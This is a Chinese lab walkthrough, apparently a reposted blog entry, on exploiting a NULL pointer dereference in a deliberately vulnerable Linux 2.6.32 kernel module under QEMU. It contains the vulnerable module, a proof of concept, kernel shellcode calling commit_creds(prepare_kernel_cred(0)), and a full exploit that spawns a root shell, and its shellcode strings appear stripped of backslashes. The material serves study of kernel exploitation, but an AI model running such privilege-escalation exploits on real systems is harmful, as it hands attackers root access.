zoukankan      html  css  js  c++  java
  • NULL Pointer Dereference(转)

    0x00 漏洞代码

    null_dereference.c:
    #include <linux/init.h>
    #include <linux/module.h>
    #include <linux/kernel.h>
    #include <linux/proc_fs.h>
    
    void (*my_funptr)(void);
    
    int bug1_write(struct file *file, const char *buf, unsigned long len)
    {
        my_funptr();
        return len;
    }
    
    static int __init null_dereference_init(void)
    {
        printk(KERN_ALERT "null_dereference driver init!
    ");
        create_proc_entry("bug1", 0666, 0)->write_proc = bug1_write;
        return 0;
    }
    
    static void __exit null_dereference_exit(void)
    {
        printk(KERN_ALERT "null_dereference driver exit
    ");
    }
    
    module_init(null_dereference_init);
    module_exit(null_dereference_exit);
    

    可以看到漏洞代码中my_funptr函数指针是空指针(值为0x0),调用my_funptr可以执行0x0地址处的代码。

    Makefile:

    obj-m := null_dereference.o  
    KERNELDR := /home/moon/Desktop/linux-kernel/linux-2.6.32.1/  
    PWD := $(shell pwd)  
    modules:  
    	$(MAKE) -C $(KERNELDR) M=$(PWD) modules  
    moduels_install:  
    	$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install  
    clean:  
    	rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
    

    将漏洞代码在本地编译(make)之后,将null_dereference.ko文件放到busybox-1.27.2/_install/usr/目录中。

    0x01 PoC

    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/mman.h>
    
    char payload[] = "xe9xeaxbexadx0b"; // jmp 0xbadbeef
    
    int main()
    {
        mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        memcpy(0, payload, sizeof(payload));
        int fd = open("/proc/bug1", O_WRONLY);
        write(fd, "fanrong", 7); // 调用bug1的write函数
        return 0;
    }
    

    编译:

    $ gcc -static poc.c -o poc
    

    将poc也放到busybox的usr目录中。

    再在busybox的_install目录中执行:

    $ find . | cpio -o --format=newc > ../rootfs.img
    

    qemu启动Linux内核,启动后用Ctrl+Alt+2到控制台,输入:

    (qemu) gdbserver tcp::1234
    

    在本地linux-2.6.32.1目录中用gdb去连接:

    $ gdb vmlinux
    (gdb) target remote :1234
    Remote debugging using :1234
    default_idle() at arch/x86/kernel/process.c:311
    311            current_thread_info()->status |= TS_POLLING;
    (gdb) b *0x0
    (gdb) c
    Continuing.
    

    在qemu中Ctrl+Alt+1切换回命令行,进入usr目录,挂载驱动后运行poc程序。

    这时gdb就会命中断点,因为调用了空的函数指针,所以会跳转到0x0。反汇编查看当前执行的指令:

    可以看到如果继续执行就会执行我们的payload。

    0x02 exploit

    1.思路:给当前进程赋予root权限

    commit_creds(prepare_kernel_cred(0));
    

    在qemu中获取commit_creds和prepare_kernel_cred地址:

    2.编写shellcode    

    xor %eax, %eax
    call 0xc10680d0
    call 0xc1067f30
    ret
    

    编译shellcode,并获取其机器码,得到shellcode:

    shellcode = "x31xc0xe8xc9x80x06xc1xe8x24x7fx06xc1xc3"
    

    现在将shellcode放入分配的0x0地址空间,当调用空函数指针时,使当前进程有root权限,然后执行一个system(“/bin/sh”);在程序返回用户态之后获得root shell。

    exp.c

    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/mman.h>
    
    char payload[] = "x31xc0xe8xc9x80x06xc1xe8x24x7fx06xc1xc3";
    
    int main()
    {
        mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        memcpy(0, payload, sizeof(payload));
        int fd = open("/proc/bug1", O_WRONLY);
        write(fd, "fanrong", 7);
        system("/bin/sh"); // get root shell
        return 0;
    }
    

    将exp.c编译,将exp复制到busybox的_install目录下的usr目录中,再启动qemu,运行exp.

    成功拿到root shell.                                                                                                    。

  • 相关阅读:
    GridView Footer页脚统计实现多行
    Windows cmd 启动 tomcat 中文乱码问题
    git
    CentOS 的 dnf 命令
    不知道是否是wcf 的一个bug
    图像卷积与滤波的一些知识点
    Phaser开源2d引擎 javascript/html5游戏框架
    关于Ldoc
    自写vim插件ldoc.vim,提供智能的lua注释代码补全
    svn diff 使用 vimdiff 作为比较差异工具
  • 原文地址:https://www.cnblogs.com/elvirangel/p/7469531.html
Copyright © 2011-2022 走看看